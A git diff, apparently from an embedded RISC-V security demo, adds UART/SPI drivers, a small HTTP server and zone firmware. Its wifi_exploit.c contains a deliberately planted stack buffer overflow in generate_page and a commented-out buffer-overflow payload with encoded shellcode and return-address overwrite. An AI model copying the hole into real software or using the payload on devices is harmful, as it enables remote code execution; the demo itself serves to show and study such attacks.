+#ifndef SPI_H__ +#define SPI_H__ + +#include <stdint.h> + +typedef enum trans_e +{ + TRANS_OFF, + TRANS_ON, + TRANS_ENDING +} trans_t; + +void spi_init(uint32_t spi_clock); +void spi_send(const char *str_p); +void spi_send_with_len(const char *str_p, uint32_t len); +void spi_recv(char *str_p, uint32_t buf_size, uint32_t *len); +uint32_t spi_read_ready(void); +trans_t spi_transparent(void); + +#endif diff --git a/multizone_wifi/zone1/uart.c b/multizone_wifi/zone1/uart.c new file mode 100644 index 0000000000000000000000000000000000000000..e55d147d14327cbca1c5225f71a0a4f90abe90da --- /dev/null +++ b/multizone_wifi/zone1/uart.c @@ -0,0 +1,64 @@ +#include <string.h> +#include <stdint.h> +#include "uart.h" +#include "cpu.h" + +#define IOF_EN *(volatile uint32_t*)0x10012038 +#define IOF_SEL *(volatile uint32_t*)0x1001203C + +#define UART0_TXDATA *(volatile uint32_t*)0x10013000 +#define UART0_RXDATA *(volatile uint32_t*)0x10013004 +#define UART0_TXCTRL *(volatile uint32_t*)0x10013008 +#define UART0_RXCTRL *(volatile uint32_t*)0x1001300C +#define UART0_DIV *(volatile uint32_t*)0x10013018 + +#define UART_TXEN_I 0U +#define UART_RXEN_I 0U + +#define BIT_MASK(bit) (1UL<<(bit)) +#define UART0_RX 16 +#define UART0_TX 17 +#define IOF_UART_ENABLE (BIT_MASK(UART0_RX) | BIT_MASK(UART0_TX)) + +void uart_init(uint32_t baudrate) +{ + // Select HW I/O function 0 (IOF0) for all pins. + // IOF0 means UART mode for GPIO pins 16-17. + IOF_SEL = 0; + + IOF_EN |= IOF_UART_ENABLE; + UART0_TXCTRL = 0; + UART0_RXCTRL = 0; + UART0_DIV = cpu_freq() / baudrate - 1UL; + UART0_TXCTRL = BIT_MASK(UART_TXEN_I); + UART0_RXCTRL = BIT_MASK(UART_RXEN_I); +} + +void uart_send(const char *str_p) +{ + uint32_t len = strlen(str_p); + for (uint32_t i=0; i < len; i++) + { + while (UART0_TXDATA > 0xFF) {} // full bit set, wait + UART0_TXDATA = str_p[i] & 0xFFU; + } +} + +int uart_putchar(char c) +{ + while (UART0_TXDATA > 0xFF) {} // full bit set, wait + UART0_TXDATA = c & 0xFFU; + return 0; +} + +int uart_getchar(void) +{ + uint32_t c; + + while (1) { + c = UART0_RXDATA; // Read the RX register EXACTLY once + if (c <= 0xFF) { // Empty bit was not set, which means DATA is valid + return c; + } + } // Loop as long empty bit is set +} diff --git a/multizone_wifi/zone1/uart.h b/multizone_wifi/zone1/uart.h new file mode 100644 index 0000000000000000000000000000000000000000..1dba1eefb285e6033af400e225af847dce958cb0 --- /dev/null +++ b/multizone_wifi/zone1/uart.h @@ -0,0 +1,11 @@ +#ifndef UART_H__ +#define UART_H__ + +#include <stdint.h> + +void uart_send(const char *str_p); +void uart_init(uint32_t baudrate); +int uart_putchar(char c); +int uart_getchar(void); + +#endif diff --git a/multizone_wifi/zone1/webserver.c b/multizone_wifi/zone1/webserver.c new file mode 100644 index 0000000000000000000000000000000000000000..6306c6db633f1921d8950050ecdb8e22297def20 --- /dev/null +++ b/multizone_wifi/zone1/webserver.c @@ -0,0 +1,180 @@ +#include "webserver.h" + +static struct network_implementation NETWORK; + +int webserver_init(struct network_implementation network) { + NETWORK = network; + return NETWORK.init(NETWORK.custom_data); +} + +enum network_event webserver_recv_data_or_connection(int *connection_id, uint32_t *len, char **data) { + return NETWORK.recv_data_or_connection(NETWORK.custom_data, connection_id, len, data); +} + +int webserver_close_connection(int connection_id) { + return NETWORK.close_connection(NETWORK.custom_data, connection_id); +} + +int webserver_send_data(int connection_id, uint32_t len, char *data) { + return NETWORK.send_data(NETWORK.custom_data, connection_id, len, data); +} + +void webserver_handle_request(request_handler handler, int id, uint32_t len, char *data) { + char *end_ptr = &data[len]; + char *current_position = data; + printf("ciao\n"); + enum request_type type; + if(len > 4 && strncmp(data, "GET ", 4) == 0) { + // We have what seems like a GET request. + type = GET_REQUEST; + current_position = &data[4]; + } else if(len > 5 && strncmp(data, "POST ", 5) == 0) { + // We have what seems like a POST request. + type = POST_REQUEST; + current_position = &data[5]; + } else { + // We have an unknown or invalid request. Just drop it. + return; + } + + char *location = current_position; + + while(current_position < end_ptr && *current_position != ' ') { + ++current_position; + } + + if(current_position == end_ptr) { + // We have an invalid request, drop it. + return; + } + + // Zero terminate the location for the request handler. + *current_position = '\0'; + ++current_position; + + // Go to the end of the first line. + while(current_position < end_ptr && strncmp(current_position - 1, "\r\n", 2) != 0) { + ++current_position; + } + + if(current_position == end_ptr) { + // We have an invalid request, drop it. + return; + } + ++current_position; + + uint32_t length = 0; + + // Parse all headers. + while(current_position < end_ptr && strncmp(current_position - 4, "\r\n\r\n", 4) != 0) { + char *header_start = current_position; + while(current_position < end_ptr && strncmp(current_position - 1, "\r\n", 2) != 0) { + ++current_position; + } + + if(header_start + 16 < end_ptr && strncmp(header_start, "Content-Length: ", 16) == 0) { + length = atoi(header_start + 16); + } + ++current_position; + } + + if(strncmp(current_position - 4, "\r\n\r\n", 4) != 0) { + // We have an invalid request, drop it. + return; + } + + // Now that we're done parsing, call the handler and send the response. + if(handler != NULL) { + bool free_response; + uint32_t response_len; + char *response = handler(location, type, current_position, length, &response_len, &free_response); + if(response != NULL) { + if(webserver_send_data(id, response_len, response) != 0) { + // Just ignore errors for now since we have no better way of handling them. + printf("These was an error sending the response: %s\r\n", response); + } + if(free_response) { + free(response); + } + } + } +} + +void webserver_run(request_handler handler) { + // We assume here for now that each request fully arrives in one packet. + // Because of the limited amount of memory, it would not generally be possible to save intermediate packets + // and for our use case this should suffice + while(1) { + int id; + uint32_t len; + char *data; + switch(webserver_recv_data_or_connection(&id, &len, &data)) { + case NEW_CONNECTION: + // Just accept the connection and wait for data to arrive. + // A denial of service attack is not really anything we need to worry about for this project. + printf("(%d) The web server accepted a new connection.\r\n", id); + break; + case CLOSED_CONNECTION: + // Since we just accept connections without specially handling them, there is nothing to do here. + printf("(%d) Connection closed.\r\n", id); + break; + case DATA_RECEIVED: + webserver_handle_request(handler, id, len, data); + webserver_close_connection(id); + break; + case ERROR: + // Close the connection on errors, as there is likely little we can do to fix them. + webserver_close_connection(id); + printf("(%d) An error occurred while waiting for data to arrive.\r\n", id); + + break; + } + free(data); + } +} + +uint32_t webserver_percent_decode(char *data, uint32_t len) { + // Decode in-place according to https://url.spec.whatwg.org/#percent-decode and https://url.spec.whatwg.org/#urlencoded-parsing + // The in-place decoding works, because in_index can only be "faster" than out_index, not "slower". + // The new length is returned. + // If The length is reduced, a '\0'-byte is appended at the end, but not included with the length. + + uint32_t in_index = 0, out_index = 0; + + while(in_index < len) { + if(data[in_index] == '+') { + data[out_index] = ' '; + } else if(data[in_index] == '%' && in_index + 2 < len) { + char bytes[2]; + for(int i = 0; i < 2; ++i) { + if('0' <= data[in_index + i + 1] && data[in_index + i + 1] <= '9') { + bytes[i] = data[in_index + i + 1] - '0'; + } else if('a' <= data[in_index + i + 1] && data[in_index + i + 1] <= 'f') { + bytes[i] = data[in_index + i + 1] - 'a' + 10; + } else if('A' <= data[in_index + i + 1] && data[in_index + i + 1] <= 'F') { + bytes[i] = data[in_index + i + 1] - 'A' + 10; + } else { + bytes[i] = 16; + } + } + + if(bytes[0] == 16 || bytes[1] == 16) { + data[out_index] = data[in_index]; + } else { + data[out_index] = (bytes[0] << 4) | bytes[1]; + in_index += 2; + } + } else { + data[out_index] = data[in_index]; + } + + ++in_index; + ++out_index; + } + + if(out_index < in_index) { + data[out_index] = '\0'; + } + + return out_index; +} diff --git a/multizone_wifi/zone1/webserver.h b/multizone_wifi/zone1/webserver.h new file mode 100644 index 0000000000000000000000000000000000000000..6aa68d1bd3aae06f9dcc603a217ed7504b6707de --- /dev/null +++ b/multizone_wifi/zone1/webserver.h @@ -0,0 +1,48 @@ +#ifndef WEBSERVER_H_ +#define WEBSERVER_H_ + +#include <stdint.h> +#include <stddef.h> +#include <stdbool.h> +#include <stdlib.h> +#include <stdio.h> +#include <string.h> + +struct network_implementation { + // Returns non-zero value if the network implementations could not be initialized successfully. + int (*init)(void *custom_data); + // Note that the webserver will call free on the data pointer after calling this function. + enum network_event (*recv_data_or_connection)(void *custom_data, int *connection_id, uint32_t *len, char **data); + // Returns non-zero value if the data could not be sent successfully. + int (*send_data)(void *custom_data, int connection_id, uint32_t len, char *data); + // Returns non-zero value if the connection could not be closed successfully. + int (*close_connection)(void *custom_data, int connection_id); + // Allows implementations to maintain associated data. + void *custom_data; +}; + +enum network_event { + NEW_CONNECTION, + CLOSED_CONNECTION, + DATA_RECEIVED, + ERROR, +}; + +enum request_type { + GET_REQUEST, + POST_REQUEST +}; + +// A function prototype to handle a request. +// When implementing handlers, please note that the data pointer is not guaranteed to be zero-terminated. +typedef char *(*request_handler)(char *location, enum request_type type, char *data, uint32_t data_len, uint32_t *out_len, bool *free_result); + +// Returns non-zero value if the server could not be properly initialized. +int webserver_init(struct network_implementation network); +// Runs the webserver with the given request handling function. +void webserver_run(request_handler handler); +// Percent decodes the given data in-place returning the new length. +// Also appends a '\0'-byte, if the output is shorter than the input. +uint32_t webserver_percent_decode(char *data, uint32_t len); + +#endif /* WEBSERVER_H_ */ diff --git a/multizone_wifi/zone1/wifi_exploit.c b/multizone_wifi/zone1/wifi_exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..0e8f2686d9d61549535448f70663e5fc60ec0734 --- /dev/null +++ b/multizone_wifi/zone1/wifi_exploit.c @@ -0,0 +1,175 @@ +/* Copyright 2019 SiFive, Inc */ +/* SPDX-License-Identifier: Apache-2.0 */ + +// See https://github.com/kjarvel/hifive1revb_wifi for the WiFi code + +#include <stdio.h> +#include <stdint.h> +#include <string.h> +#include <stdlib.h> +#include "uart.h" +#include "cpu.h" +#include "spi.h" +#include "led.h" +#include "esp32.h" +#include "wifi_data.h" +#include "webserver.h" +#include "esp32_network_implementation.h" +#include "http_helpers.h" + +#define STARTUP_DELAY 20000000 +#define BAUDRATE_115200 115200 +#define SPICLOCK_80KHZ 80000 + +#define INDEX_PAGE \ + "<!DOCTYPE html>\n"\ + "<html>\n"\ + " <body>\n"\ + " <form method=\"POST\">\n"\ + " <div>\n"\ + " <label for=\"name\">Bitte geben Sie Ihren Namen ein:</label> <input type=\"text\" name=\"name\">\n"\ + " </div>\n"\ + " <div>\n"\ + " <input type=\"submit\" value=\"Absenden\">\n"\ + " </div>\n"\ + " </form>\n"\ + " </body>\n"\ + "</html>" +#define RESPONSE_404 \ + "<!DOCTYPE html>\n"\ + "<html>\n"\ + " <body>\n"\ + " <h1>404 Nicht gefunden</h1>\n"\ + " <p>Wir haben leider diese Seite nicht gefunden.</p>\n"\ + " </body>\n"\ + "</html>" + + +char *admin_name = "my_secret_admin_name"; + +int is_admin(char *name, uint32_t name_len) { + return strlen(admin_name) == name_len && strncmp(name, admin_name, name_len) == 0; +} + +char *generate_page(char *name, uint32_t name_len) { + // nobody could possibly enter a name longer than 120 characters, so this buffer + // is definitely large enough + char message[128]; + if(is_admin(name, name_len)) { + memcpy(message, "Willkommen im Admin-Bereich.", 29); + } + else { + memcpy(message, "Hallo, ", 7); + memcpy(message + 7, name, name_len); + message[7 + name_len] = '\0'; + } + + char *result = malloc(strlen(message) + 1); + memcpy(result, message, strlen(message) + 1); + return result; +} + +char *server_request_handler(char *location, enum request_type type, char *data, uint32_t data_len, uint32_t *out_len, bool *free_result) { + *free_result = true; + if(type == GET_REQUEST && strncmp(location, "/", 2) == 0) { + return http_prepare_response(INDEX_PAGE, strlen(INDEX_PAGE), 200, out_len); + } else if(type == POST_REQUEST && strncmp(location, "/", 2) == 0) { + if(data_len >= 5 && strncmp(data, "name=", 5) == 0) { + uint32_t name_len = data_len - 5; + name_len = webserver_percent_decode(&data[5], name_len); + char *return_string; + return_string = generate_page(&data[5], name_len); + + char* response = http_prepare_response(return_string, strlen(return_string), 200, out_len); + //free(return_string); + return response; + } else { + return http_prepare_response(RESPONSE_404, strlen(RESPONSE_404), 404, out_len); + } + } else { + return http_prepare_response(RESPONSE_404, strlen(RESPONSE_404), 404, out_len); + } + return NULL; +} + +int main(void) { + LED_off(LED_ALL); + LED_on(LED_RED); + + cpu_clock_init(); + uart_init(BAUDRATE_115200); + + delay(STARTUP_DELAY); + + spi_init(SPICLOCK_80KHZ); + + /* + char *raw_attack = "name=" + "X" // padding to align the instructions + + "%37%05%01%20" // 0: lui a0,0x20010 + "%13%05%05%36" // 4: addi a0,a0,864 # 0x20010360 + "%37%2e%01%20" // 8: lui t3,0x20012 + "%13%0e%ee%14" // c: addi t3,t3,334 # 0x2001214e + "%e7%0e%0e%00" // 10: jalr t4,t3 + + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + + "%60%0f%00%80" // the new frame pointer: 0x80000f60 + "%94%0e%00%80" // the new return address: 0x80000e94 + ; + uint32_t raw_attack_len = strlen(raw_attack); + char *attack = malloc(raw_attack_len); + memcpy(attack, raw_attack, raw_attack_len); + bool free_result; + uint32_t out_len; + char *result = server_request_handler("/", POST_REQUEST, attack, raw_attack_len, &out_len, &free_result); + + printf("out_len: %d\r\n", out_len); + printf("result: "); + for (int i = 0; i < out_len; ++i) { + printf("%c", result[i]); + } + */ + + if(webserver_init(ESP32_NETWORK_IMPLEMENTATION) != 0) { + return 1; + } + + LED_off(LED_RED); + LED_on(LED_BLUE); + + webserver_run(server_request_handler); + + LED_off(LED_BLUE); + LED_on(LED_GREEN); + + return 0; +} diff --git a/multizone_wifi/zone2/Makefile b/multizone_wifi/zone2/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..890cedd2e79487e2f5a147dd26bce68c878ab297 --- /dev/null +++ b/multizone_wifi/zone2/Makefile @@ -0,0 +1,15 @@ +# Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved + +TARGET = zone2.elf + +BSP_BASE := ../bsp +PLATFORM_DIR := $(BSP_BASE)/$(BOARD) +NEWLIB_DIR := $(PLATFORM_DIR)/newlib + +LINKER_SCRIPT := linker.lds + +C_SRCS += main.c + +INCLUDES += -I ../ + +include $(NEWLIB_DIR)/newlib.mk diff --git a/multizone_wifi/zone2/linker.lds b/multizone_wifi/zone2/linker.lds new file mode 100644 index 0000000000000000000000000000000000000000..4e469ca60a3b82514ecbc7be8444f989ca56c9ed --- /dev/null +++ b/multizone_wifi/zone2/linker.lds @@ -0,0 +1,161 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ + +OUTPUT_ARCH( "riscv" ) + +ENTRY( _start ) + +MEMORY { + flash (rxai!w) : ORIGIN = flash + 0xA000, LENGTH = 8K + prog (rxai!w) : ORIGIN = flash + 0xA000, LENGTH = 8K + ram (wa!xri) : ORIGIN = dtim + 0x2800, LENGTH = 2K +} + +SECTIONS { + + __stack_size = DEFINED(__stack_size) ? __stack_size : 1K; + PROVIDE(__stack_size = __stack_size); + + + /** Init / Fini related code | run once - loaded in slower memory **/ + + .init : ALIGN(64 / 8) + { + KEEP (*(SORT_NONE(.init))) + } >prog AT>flash + + .fini : ALIGN(64 / 8) + { + KEEP (*(SORT_NONE(.fini))) + } >prog AT>flash + + .preinit_array : ALIGN(64 / 8) + { + PROVIDE_HIDDEN (__preinit_array_start = .); + KEEP (*(.preinit_array)) + PROVIDE_HIDDEN (__preinit_array_end = .); + } >prog AT>flash + + .init_array : ALIGN(64 / 8) + { + PROVIDE_HIDDEN (__init_array_start = .); + KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*))) + KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors)) + PROVIDE_HIDDEN (__init_array_end = .); + } >prog AT>flash + + .fini_array : ALIGN(64 / 8) + { + PROVIDE_HIDDEN (__fini_array_start = .); + KEEP (*(SORT_BY_INIT_PRIORITY(.fini_array.*) SORT_BY_INIT_PRIORITY(.dtors.*))) + KEEP (*(.fini_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .dtors)) + PROVIDE_HIDDEN (__fini_array_end = .); + } >prog AT>flash + + .ctors : ALIGN(64 / 8) + { + KEEP (*crtbegin.o(.ctors)) + KEEP (*crtbegin?.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + } >prog AT>flash + + .dtors : ALIGN(64 / 8) + { + KEEP (*crtbegin.o(.dtors)) + KEEP (*crtbegin?.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + } >prog AT>flash + + + /** Text section | program - can be loaded to faster memory **/ + + .text : ALIGN(64 / 8) + { + *(.text.unlikely .text.*_unlikely .text.unlikely.*) + *(.text.exit .text.exit.*) + *(.text.startup .text.startup.*) + *(.text.hot .text.hot.*) + *(SORT(.text.sorted.*)) + *(.text .stub .text.* .gnu.linkonce.t.*) + /* .gnu.warning sections are handled specially by elf.em. */ + *(.gnu.warning) + } >prog AT>flash + + PROVIDE (__etext = .); + PROVIDE (_etext = .); + PROVIDE (etext = .); + + .rodata : ALIGN(64 / 8) + { + *(.rdata) + *(.rodata .rodata.*) + *(.gnu.linkonce.r.*) + } >prog AT>flash + + + /* Data section - copied from rom to ram */ + + .lalign : ALIGN(64 / 8) + { + PROVIDE( _data_lma = . ); + } >prog AT>flash + + .data : ALIGN(64 / 8) + { + __DATA_BEGIN__ = .; + _data = .; + *(.data .data.* .gnu.linkonce.d.*) + } >ram AT>flash + + .sdata : ALIGN(64 / 8) + { + PROVIDE( __global_pointer$ = . + 0x800 ); + __SDATA_BEGIN__ = .; + *(.srodata.cst16) *(.srodata.cst8) *(.srodata.cst4) *(.srodata.cst2) *(.srodata .srodata.*) + *(.sdata .sdata.* .sdata* .gnu.linkonce.s.*) + } >ram AT>flash + + _edata = .; + PROVIDE (edata = .); + + .bss (NOLOAD): ALIGN(64 / 8) + { + __bss_start = .; + *(.sbss .sbss.* .gnu.linkonce.sb.*) + *(.bss .bss.* .gnu.linkonce.b.*) + *(COMMON) + . = ALIGN(. != 0 ? 64 / 8 : 1); + } >ram AT>ram + + . = ALIGN(64 / 8); + . = SEGMENT_START("ldata-segment", .); + . = ALIGN(64 / 8); + __bss_end = .; + __BSS_END__ = .; + + + /* Stack definition - change size at top of this script */ + + .stack (NOLOAD): ALIGN(16) + { + . += __stack_size; + PROVIDE( _sp = . ); + } >ram AT>ram + + + /* Heap definition - calculated to use the remaining memory */ + + .heap (NOLOAD): ALIGN(64 / 8) + { + PROVIDE( _end = . ); + PROVIDE( __end = . ); + PROVIDE( __heap_start = . ); + . += LENGTH(ram) - ( . - ORIGIN(ram)); + PROVIDE( _heap_end = . ); + PROVIDE( __heap_end = . ); + } >ram AT>ram + +} \ No newline at end of file diff --git a/multizone_wifi/zone2/main.c b/multizone_wifi/zone2/main.c new file mode 100644 index 0000000000000000000000000000000000000000..2565bd2162e663a1b0e78bc2e9f22fecf8875eae --- /dev/null +++ b/multizone_wifi/zone2/main.c @@ -0,0 +1,160 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ +#include <string.h> // strcmp() +#include <inttypes.h> // uint16_t, ... + +#include "platform.h" +#include "multizone.h" + +#define LD1_RED_ON PWM_REG(PWM_CMP1) = 0x0; +#define LD1_GRN_ON PWM_REG(PWM_CMP2) = 0x0; +#define LD1_BLU_ON PWM_REG(PWM_CMP3) = 0x0; + +#define LD1_RED_OFF PWM_REG(PWM_CMP1) = 0xFF; +#define LD1_GRN_OFF PWM_REG(PWM_CMP2) = 0xFF; +#define LD1_BLU_OFF PWM_REG(PWM_CMP3) = 0xFF; + +__attribute__((interrupt())) void trp_handler(void) { // trap handler (0) + + const unsigned long mcause = MZONE_CSRR(CSR_MCAUSE); + + switch (mcause) { + case 0: break; // Instruction address misaligned + case 1: break; // Instruction access fault + case 3: break; // Breakpoint + case 4: break; // Load address misaligned + case 5: break; // Load access fault + case 6: break; // Store/AMO address misaligned + case 7: break; // Store access fault + case 8: break; // Environment call from U-mode + } + +} +__attribute__((interrupt())) void msi_handler(void) { // machine software interrupt (3) + asm volatile("ebreak"); +} +__attribute__((interrupt())) void tmr_handler(void) { // machine timer interrupt (7) + + static uint16_t r=0x3F; + static uint16_t g=0; + static uint16_t b=0; + + if (r > 0 && b == 0) {r--; g++;} + if (g > 0 && r == 0) {g--; b++;} + if (b > 0 && g == 0) {r++; b--;} + +#ifdef FE310 + PWM_REG(PWM_CMP1) = r; + PWM_REG(PWM_CMP2) = g; + PWM_REG(PWM_CMP3) = b; +#else + PWM_REG(PWM_CMP1) = 0xFF - (r >> 2); + PWM_REG(PWM_CMP2) = 0xFF - (g >> 2); + PWM_REG(PWM_CMP3) = 0xFF - (b >> 2); +#endif + + // set timer (clears mip) + MZONE_ADTIMECMP((uint64_t)25*RTC_FREQ/1000); + +} + +__attribute__((interrupt())) void btn0_handler(void) { + + static uint64_t debounce = 0; + const uint64_t T = MZONE_RDTIME(); + if (T > debounce){ + debounce = T + 250*RTC_FREQ/1000; + MZONE_SEND(1, "IRQ BTN0"); + LD1_RED_OFF; LD1_GRN_ON; LD1_BLU_OFF; + MZONE_ADTIMECMP((uint64_t)250*RTC_FREQ/1000); + } + GPIO_REG(GPIO_HIGH_IP) |= (1<<BTN0); //clear gpio irq + +} +__attribute__((interrupt())) void btn1_handler(void) { + + static uint64_t debounce = 0; + const uint64_t T = MZONE_RDTIME(); + if (T > debounce){ + debounce = T + 250*RTC_FREQ/1000; + MZONE_SEND(1, "IRQ BTN1"); + LD1_RED_ON; LD1_GRN_OFF; LD1_BLU_OFF; + MZONE_ADTIMECMP((uint64_t)250*RTC_FREQ/1000); + } + GPIO_REG(GPIO_HIGH_IP) |= (1<<BTN1); //clear gpio irq + +} +__attribute__((interrupt())) void btn2_handler(void) { + + static uint64_t debounce = 0; + const uint64_t T = MZONE_RDTIME(); + if (T > debounce){ + debounce = T + 250*RTC_FREQ/1000; + MZONE_SEND(1, "IRQ BTN2"); + LD1_RED_OFF; LD1_GRN_OFF; LD1_BLU_ON; + MZONE_ADTIMECMP((uint64_t)250*RTC_FREQ/1000); + } + GPIO_REG(GPIO_HIGH_IP) |= (1<<BTN2); //clear gpio irq + +} + +// configures Button0 as local interrupt +void b0_irq_init() { + + // disable hw io function + GPIO_REG(GPIO_IOF_EN ) &= ~(1 << BTN0); + + // set to input + GPIO_REG(GPIO_INPUT_EN) |= (1<<BTN0); + GPIO_REG(GPIO_PULLUP_EN) |= (1<<BTN0); + + // set to interrupt on rising edge + GPIO_REG(GPIO_HIGH_IE) |= (1<<BTN0); + + // enable irq + CSRS(mie, 1<<(BTN0_IRQ)); + +} + +// configures Button1 as local interrupt +void b1_irq_init() { + + // disable hw io function + GPIO_REG(GPIO_IOF_EN ) &= ~(1 << BTN1); + + // set to input + GPIO_REG(GPIO_INPUT_EN) |= (1<<BTN1); + GPIO_REG(GPIO_PULLUP_EN) |= (1<<BTN1); + + // set to interrupt on rising edge + GPIO_REG(GPIO_HIGH_IE) |= (1<<BTN1); + + // enable irq + CSRS(mie, 1<<(BTN1_IRQ)); + +} + +// configures Button2 as local interrupt +void b2_irq_init() { + + // disable hw io function + GPIO_REG(GPIO_IOF_EN ) &= ~(1 << BTN2); + + // set to input + GPIO_REG(GPIO_INPUT_EN) |= (1<<BTN2); + GPIO_REG(GPIO_PULLUP_EN) |= (1<<BTN2); + + //s et to interrupt on rising edge + GPIO_REG(GPIO_HIGH_IE) |= (1<<BTN2); + + // enable irq + CSRS(mie, 1<<(BTN2_IRQ)); +} + +int main (void){ + + while (1){}; + +} + + +